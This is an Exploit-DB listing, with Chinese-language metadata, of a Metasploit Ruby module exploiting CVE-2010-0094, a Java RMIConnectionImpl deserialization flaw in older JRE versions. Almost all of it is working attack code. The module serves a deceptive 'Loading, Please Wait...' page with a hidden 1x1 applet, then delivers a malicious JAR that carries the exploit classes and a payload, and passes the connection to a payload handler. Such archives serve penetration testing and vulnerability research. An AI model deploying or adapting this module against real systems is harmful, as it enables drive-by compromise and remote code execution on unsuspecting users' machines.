标题: Java - RMIConnectionImpl Deserialization Privilege Escalation (Metasploit) EDB-ID: 16305 CVE: 2010-0094 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-09-27 漏洞利用脚本: ##
# $Id: java_rmi_connection_impl.rb 10490 2010-09-27 00:09:17Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 #
 # Superceded by java_trusted_chain
 #
 #include Msf::Exploit::Remote::BrowserAutopwn
 #autopwn_info({ :javascript => false })

 def initialize( info = {} )

  super( update_info( info,
   'Name'          => 'Java RMIConnectionImpl Deserialization Privilege Escalation Exploit',
   'Description'   => %q{
   This module exploits a vulnerability in the Java Runtime Environment
   that allows to deserialize a MarshalledObject containing a custom
   classloader under a privileged context. The vulnerability affects
   version 6 prior to update 19 and version 5 prior to update 23.
   },
   'License'       => MSF_LICENSE,
   'Author'        => [
    'Sami Koivu', # Discovery
    'Matthias Kaiser', # PoC
    'egypt' # metasploit module
   ],
   'Version'       => '$Revision: 10490 $',
   'References'    =>
   [
    [ 'CVE', '2010-0094' ],
    [ 'OSVDB', '63484' ],
    [ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-rmiconnectionimpl-deserialization.html' ],
   ],
   'Platform'      => [ 'java' ],
   'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
   'Targets'       =>
    [
     [ 'Generic (Java Payload)',
      {
       'Arch' => ARCH_JAVA,
      }
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Mar 31 2010'
   ))
 end


 def on_request_uri( cli, request )
  if not request.uri.match(/\.jar$/i)
   if not request.uri.match(/\/$/)
    send_redirect(cli, get_resource() + '/', '')
    return
   end

   print_status("Handling request from #{cli.peerhost}:#{cli.peerport}...")

   send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
   return
  end

  paths = [
   [ "Exploit.class" ],
   [ "Exploit$1.class" ],
   [ "Exploit$1$1.class" ],
   [ "Exploit$2.class" ],
   [ "Payloader.class" ],
   [ "PayloadClassLoader.class" ],
   [ "payload.ser" ],
  ]

  p = regenerate_payload(cli)
  jar = p.encoded_jar
  paths.each do |path|
   1.upto(path.length - 1) do |idx|
    full = path[0,idx].join("/") + "/"
    if !(jar.entries.map{|e|e.name}.include?(full))
     jar.add_file(full, '')
    end
   end
   fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-0094", path ), "rb")
   data = fd.read(fd.stat.size)
   jar.add_file(path.join("/"), data)
   fd.close
  end

  print_status("#{self.name} Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}...")
  send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" })

  handler(cli)
 end

 def generate_html
  html  = "<html><head><title>Loading, Please Wait...</title></head>"
  html += "<body><center><p>Loading, Please Wait...</p></center>"
  html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
  html += "</applet></body></html>"
  return html
 end

end URL: https://www.exploit-db.com/exploits/16305